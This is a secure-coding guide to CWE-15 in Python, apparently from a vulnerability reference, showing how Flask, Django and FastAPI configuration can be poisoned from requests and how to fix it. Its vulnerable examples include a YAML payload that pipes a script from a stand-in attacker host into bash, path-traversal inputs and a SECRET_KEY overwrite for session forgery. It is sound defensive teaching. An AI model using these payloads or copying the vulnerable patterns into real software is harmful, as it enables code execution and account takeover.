CWE-15: External Control of System or Configuration Setting - Python
Overview
External control of configuration in Python applications occurs when HTTP request parameters, form data, headers, or query strings are used to directly modify os.environ, application config dictionaries, logging configuration, or framework settings at runtime. Attackers can exploit this to silence security logging, point external service endpoints at attacker-controlled servers, overwrite the key that session cookies are signed with, or relax host and cookie trust settings.
Common Python Configuration Injection Scenarios:
os.environ[key] = request.form['value']- modifies process environment from a requestapp.config[request.args['key']] = request.args['value']- Flask config poisoninglogging.getLogger().setLevel(request.args.get('level'))- log level control from requestsetattr(django.conf.settings, key, value)- Django settings mutation
Where Each Framework Keeps Its Configuration:
- Flask:
app.configdictionary - Django:
django.conf.settingsmodule - FastAPI: Pydantic
BaseSettingsconfiguration
Primary Defence: Load all configuration at application startup using Pydantic BaseSettings, Flask Config classes, or Django settings files - all driven from environment variables or config files, never HTTP request parameters. Any runtime configuration endpoint must require admin authorization and constrain values to an explicit allowlist.
Common Vulnerable Patterns
os.environ Modified from Request
# VULNERABLE - Environment variable set from HTTP request
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/config/env', methods=['POST'])
def set_env():
key = request.form.get('key')
value = request.form.get('value')
os.environ[key] = value # Attacker sets PATH, PYTHONPATH, DB_URL, etc.
return "Updated"
# Attack example:
# POST /config/env with key=DISABLE_AUTH&value=1
# Result: If the app reads DISABLE_AUTH anywhere, security can be bypassed
Why this is vulnerable: os.environ modifications affect the entire process. Attackers can override security-related environment variables (database URLs, secret keys, feature flags, external service endpoints) that other parts of the application read at startup or runtime.
Flask app.config Dictionary Poisoning
# VULNERABLE - Arbitrary Flask config key set from request
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/admin/config', methods=['POST'])
def update_config():
key = request.json.get('key')
value = request.json.get('value')
app.config[key] = value # Attacker sets SECRET_KEY, DEBUG, SESSION_COOKIE_SECURE, etc.
return jsonify({'status': 'updated'})
# Attack example:
# POST /admin/config {"key": "SECRET_KEY", "value": "known_value"}
# Result: the session cookie is signed and verified with this value on every request,
# so the attacker can now mint a session cookie for any user
# POST /admin/config {"key": "SESSION_COOKIE_SECURE", "value": false}
# Result: session cookies are issued without Secure and travel over plain HTTP
Why this is vulnerable: Flask's app.config holds security-critical settings and most of them
are consulted per request, so a write takes effect immediately. SECRET_KEY is read when the session
cookie is signed and when it is verified, which makes overwriting it a direct session-forgery
primitive. SESSION_COOKIE_SECURE, SESSION_COOKIE_HTTPONLY and SESSION_COOKIE_SAMESITE are read
when the cookie is set. PERMANENT_SESSION_LIFETIME is read when it is validated.
DEBUG is the one usually reached for and it is the one that does not do what the name suggests
here. Setting it on a running app makes handle_exception re-raise instead of returning the 500
page, but the interactive debugger is middleware installed when the server starts, so on an
already-running app the exception simply escapes into the WSGI server - which under a production
server means a bare 500, not a traceback. It is a real integrity problem and worth fixing; it is not
the information disclosure it is usually written up as.
Log Level Set from Request Parameter
# VULNERABLE - Logging level set from query parameter
import logging
from flask import Flask, request
app = Flask(__name__)
@app.route('/debug/log-level')
def set_log_level():
level = request.args.get('level', 'INFO')
logging.getLogger().setLevel(level) # Attacker sets DEBUG or NOTSET
return f"Log level set to {level}"
# Attack example:
# GET /debug/log-level?level=DEBUG
# Result: Passwords, tokens, PII now written to application logs
# GET /debug/log-level?level=CRITICAL
# Result: All auth failures and access events silenced
Why this is vulnerable: setLevel() takes any registered level name - DEBUG, INFO,
WARNING, ERROR, CRITICAL, NOTSET - or any integer, and raises ValueError: Unknown level on
anything else, so the attacker is choosing from a menu rather than supplying free text. That menu is
enough. DEBUG puts internal state into the log: HTTP headers, database query parameters, and
whatever the application passes to logger.debug(). NOTSET on the root logger means level 0,
which is more permissive still. CRITICAL drops authentication failures and access records, so an
attacker can set it, work, and set it back. Because this is the root logger, the change applies to
every module in the process, not just the one that handled the request.
Django Settings Mutation at Runtime
# VULNERABLE - Django settings modified via request parameters
from django.conf import settings
from django.http import JsonResponse
def update_settings(request):
key = request.POST.get('key')
value = request.POST.get('value')
setattr(settings, key, value) # Attacker modifies any Django setting
return JsonResponse({'status': 'ok'})
# Attack example:
# POST key=ALLOWED_HOSTS&value=*
# Result: get_host() iterates the string, finds the pattern "*", and accepts any Host
# header - password-reset links can now be pointed at an attacker's domain
# POST key=SESSION_COOKIE_HTTPONLY&value=
# Result: the empty string is falsy, so session cookies are issued without HttpOnly
Why this is vulnerable: django.conf.settings is a process-wide object and setattr() on it
takes effect for every request that follows. Settings consulted per request change behaviour
immediately - ALLOWED_HOSTS in HttpRequest.get_host(), SECRET_KEY wherever a signature is
produced or checked, SESSION_COOKIE_* when the cookie is written.
The type of the submitted value decides whether the attack lands, which is easy to get wrong in a
write-up. request.POST yields strings, so a boolean setting cannot be turned off by sending
False: the string "False" is truthy and SESSION_COOKIE_HTTPONLY stays on. Sending an empty
value works, because "" is falsy. The mirror image applies to list-valued settings -
ALLOWED_HOSTS = "*" is a string rather than a list, and it happens to work only because
get_host() iterates it and the one character it yields is the wildcard pattern. Check what the
setting is compared against before deciding a given payload is exploitable.
Secure Patterns
Pydantic BaseSettings with Validators (PREFERRED)
# SECURE - Immutable startup config validated by Pydantic
from pydantic import Field, field_validator
from pydantic_settings import BaseSettings, SettingsConfigDict
from typing import Literal
class AppSettings(BaseSettings):
log_level: Literal["INFO", "WARN", "ERROR"] = "INFO"
session_timeout_minutes: int = Field(default=30, ge=1, le=120)
allowed_origins: str = "https://example.com"
debug: bool = False
@field_validator("allowed_origins")
@classmethod
def must_be_https(cls, v: str) -> str:
if not v.startswith("https://"):
raise ValueError("allowed_origins must be an https:// origin")
return v
model_config = SettingsConfigDict(
env_file=".env",
frozen=True, # Immutable after construction
extra="forbid", # An unrecognised key in .env fails startup instead of being ignored
)
# Loaded once at startup - no HTTP request can change these values
settings = AppSettings()
Why this works: frozen=True makes the settings object immutable - settings.log_level = "DEBUG"
raises ValidationError rather than succeeding. Literal["INFO", "WARN", "ERROR"] is a
type-enforced allowlist, so a bad value in the environment fails at construction, which happens
during startup and takes the process down visibly instead of degrading it quietly. Field(ge=1,
le=120) expresses a numeric bound without a validator at all; @field_validator is for the checks
a type cannot express. Configuration comes only from environment variables and .env, never from a
request.
Use @field_validator, not the @validator decorator - the latter is the Pydantic v1 spelling,
still accepted in v2 with a deprecation warning and scheduled for removal in v3.
Allowlist-Validated Runtime Log Level Change (Flask)
# SECURE - Admin-only endpoint with strict allowlist
import logging
from functools import wraps
from flask import Flask, request, jsonify, g
app = Flask(__name__)
ALLOWED_LOG_LEVELS = {"INFO", "WARN", "WARNING", "ERROR"}
def admin_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if not getattr(g, 'user', None) or not g.user.is_admin:
return jsonify({'error': 'Admin access required'}), 403
return f(*args, **kwargs)
return decorated
@app.route('/admin/log-level', methods=['POST'])
@admin_required
def set_log_level():
level = request.json.get('level', '').upper()
if level not in ALLOWED_LOG_LEVELS:
return jsonify({'error': f'Invalid level. Allowed: {sorted(ALLOWED_LOG_LEVELS)}'}), 400
logging.getLogger().setLevel(level)
app.logger.info("Log level changed to %s by admin %s", level, g.user.username)
return jsonify({'status': 'updated', 'level': level})
Why this works: The ALLOWED_LOG_LEVELS set acts as a server-side allowlist - DEBUG and NOTSET, which put internal state into the log, and CRITICAL, which drops authentication failures and access records, are rejected before reaching setLevel(). The admin_required decorator enforces that only authenticated admin users can reach this endpoint. All changes are audit-logged with the admin's username.
Enum-Based Configuration Selection (FastAPI)
# SECURE - FastAPI rejects values not in the enum automatically
from enum import Enum
import logging
from fastapi import FastAPI, Depends, HTTPException
from fastapi.security import OAuth2PasswordBearer
app = FastAPI()
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="token")
class LogLevel(str, Enum):
info = "INFO"
warn = "WARN"
error = "ERROR"
def require_admin(token: str = Depends(oauth2_scheme)):
user = verify_token(token) # Your token verification logic
if not user.is_admin:
raise HTTPException(status_code=403, detail="Admin access required")
return user
@app.post("/admin/log-level")
def set_log_level(level: LogLevel, admin=Depends(require_admin)):
# FastAPI returns 422 for any value not in LogLevel before this runs
logging.getLogger().setLevel(level.value)
return {"status": "updated", "level": level}
Why this works: FastAPI uses the LogLevel enum for automatic request validation - requests with unlisted values receive 422 Unprocessable Entity before the handler runs. The Depends(require_admin) dependency enforces admin authorization as a prerequisite. The enum definition is the single source of truth for allowed values.
Django Admin Config Endpoint with Allowlist
# SECURE - Django view with allowlist and staff-only auth
import logging
from django.contrib.admin.views.decorators import staff_member_required
from django.http import JsonResponse
from django.views.decorators.http import require_POST
ALLOWED_CONFIG = {
"log_level": {"INFO", "WARN", "ERROR"},
"feature_beta": {"true", "false"},
}
@require_POST
@staff_member_required
def update_config(request):
key = request.POST.get("key", "")
value = request.POST.get("value", "")
allowed_values = ALLOWED_CONFIG.get(key)
if allowed_values is None:
return JsonResponse({"error": "Unknown configuration key"}, status=400)
if value not in allowed_values:
return JsonResponse({"error": f"Invalid value. Allowed: {sorted(allowed_values)}"}, status=400)
config_service.apply(key, value)
logging.getLogger(__name__).info(
"Config '%s' changed to '%s' by %s", key, value, request.user.username
)
return JsonResponse({"status": "updated"})
Why this works: ALLOWED_CONFIG double-gates input - first validating the key name is a known settable field (preventing modification of undeclared settings like SECRET_KEY), then validating the value against that field's specific set. @staff_member_required blocks non-staff users at the decorator level. @require_POST prevents CSRF-style GET-based config changes.
Testing
Verify the fix by testing:
- Allowlist bypass: Submit a value outside the defined allowlist - expect 400 rejection
- Unknown key injection: Attempt to set
SECRET_KEY,DEBUG, or other unlisted keys - expect 400 - Direct
os.environmanipulation: Verify no endpoint accepts arbitrary environment variable names - Authorization bypass: Call config endpoints while unauthenticated or with a non-admin account - expect 401/403
- Django settings mutation: Attempt
setattr(settings, ...)equivalent via any API endpoint - must fail
Untrusted Configuration Sources
A related attack vector occurs when the application loads configuration from a location that untrusted input controls.
Config File Loaded from User-Supplied Path (Vulnerable)
# VULNERABLE - Config file path comes from request parameter
import configparser
from flask import Flask, request
app = Flask(__name__)
@app.route('/admin/load-config', methods=['POST'])
def load_config():
config_path = request.form.get('path')
config = configparser.ConfigParser()
config.read(config_path) # Attack: path = "../../instance/production.ini"
apply_config(config)
return 'Loaded'
# Attack example:
# POST /admin/load-config path=../../instance/production.ini
# Result: another environment's INI - database DSN, API keys - parsed and applied
# POST /admin/load-config path=/etc/passwd
# Result: MissingSectionHeaderError whose message quotes line 1 of the file; if the
# handler returns the exception text, that is a read primitive for any readable file
Why this is vulnerable: configparser.read() accepts any path, follows ../ traversal, and
silently ignores a file that does not exist - so probing for paths is free and produces no error to
alert anyone. What it does not do is parse arbitrary files: a file with no [section] header
raises MissingSectionHeaderError, so /etc/passwd does not quietly become configuration. The
exposure is in two other places. Any INI or .cfg the process can read - another tenant's
config, a setup.cfg, an instance/ override holding production credentials - parses cleanly and
is applied. And the parse errors are quoting: MissingSectionHeaderError embeds the offending line
in its message, so an endpoint that returns the exception text hands back file contents one line at
a time.
Config File Loaded from User-Supplied Path (Secure)
# SECURE - Only a fixed set of filenames are accepted; path is never from user input
import configparser
from pathlib import Path
from flask import Flask, g, request, jsonify
from functools import wraps
app = Flask(__name__)
CONFIG_DIR = Path('/var/app/configs').resolve()
ALLOWED_FILENAMES = frozenset({'feature-flags.ini', 'rate-limits.ini'})
def admin_required(f):
@wraps(f)
def decorated(*args, **kwargs):
if not getattr(g, 'user', None) or not g.user.is_admin:
return jsonify({'error': 'Admin access required'}), 403
return f(*args, **kwargs)
return decorated
@app.route('/admin/load-config', methods=['POST'])
@admin_required
def load_config():
filename = request.form.get('filename', '')
if filename not in ALLOWED_FILENAMES:
return jsonify({'error': 'Unknown config file'}), 400
# Resolve within trusted directory and verify no traversal
resolved = (CONFIG_DIR / filename).resolve()
if not resolved.is_relative_to(CONFIG_DIR):
return jsonify({'error': 'Invalid path'}), 400
config = configparser.ConfigParser()
config.read(resolved)
config_service.apply_allowlisted(config)
app.logger.info('Config file %s loaded by admin %s', filename, g.user.id)
return jsonify({'status': 'loaded'})
Why this works: ALLOWED_FILENAMES is an explicit set - any filename not in it is rejected before
a path is even constructed. resolve() collapses .. and symlinks, and is_relative_to() then
compares path components, so a sibling directory such as /var/app/configs-backup cannot pass; a
str(...).startswith(...) check on the same paths would let it through, which is why the comparison
is done on Path objects rather than strings. Only known-safe keys from the file are applied, so
attacker-crafted file contents cannot introduce unexpected settings.
YAML Config Loaded from Uploaded File (Vulnerable)
# VULNERABLE - Unsafe YAML loading from user-uploaded file
import yaml
from flask import request
@app.route('/admin/upload-config', methods=['POST'])
def upload_config():
f = request.files.get('config')
data = yaml.load(f.read(), Loader=yaml.Loader) # VULNERABLE - allows arbitrary Python object creation
apply_config(data)
return 'Applied'
# Attack: upload a YAML file containing:
# !!python/object/apply:os.system ['curl http://attacker.com/shell | bash']
# Result: Remote code execution during yaml.load()
Why this is vulnerable: yaml.Loader and yaml.UnsafeLoader construct arbitrary Python objects
from tags such as !!python/object/apply, which reaches os.system, subprocess.Popen and eval -
so an attacker who can upload a YAML file gets remote code execution during the parse, before any
validation the application does afterwards. yaml.FullLoader blocks that tag and yaml.SafeLoader
blocks every Python tag. Under PyYAML 6 the Loader argument is mandatory, so the historically
dangerous bare yaml.load(data) now raises TypeError rather than defaulting to the unsafe loader;
code carried over from PyYAML 3 was updated by adding Loader=yaml.Loader, which is how this
pattern usually arrives in a modern codebase.
YAML Config Loaded from Uploaded File (Secure)
# SECURE - Use safe_load and validate the resulting structure
import yaml
from jsonschema import validate, ValidationError
from flask import request, jsonify, g
# The role decorator from the section above, as its own module
from auth_decorators import admin_required
CONFIG_SCHEMA = {
'type': 'object',
'additionalProperties': False,
'properties': {
'log_level': {'type': 'string', 'enum': ['INFO', 'WARN', 'ERROR']},
'timeout_sec': {'type': 'integer', 'minimum': 1, 'maximum': 120},
}
}
@app.route('/admin/upload-config', methods=['POST'])
@admin_required
def upload_config():
f = request.files.get('config')
if not f:
return jsonify({'error': 'No file provided'}), 400
try:
# safe_load only handles basic YAML types - no Python object tags
data = yaml.safe_load(f.read())
except yaml.YAMLError as exc:
return jsonify({'error': f'Invalid YAML: {exc}'}), 400
try:
validate(instance=data, schema=CONFIG_SCHEMA)
except ValidationError as exc:
return jsonify({'error': f'Schema violation: {exc.message}'}), 400
config_service.apply(data)
app.logger.info('Config uploaded by admin %s', g.user.id)
return jsonify({'status': 'applied'})
Why this works: yaml.safe_load() only produces standard Python types (dicts, lists, strings, numbers) - it refuses to deserialize Python object tags, preventing code execution. The JSON Schema validates that only the expected keys with expected types and value ranges are present; unexpected keys are rejected by additionalProperties: False.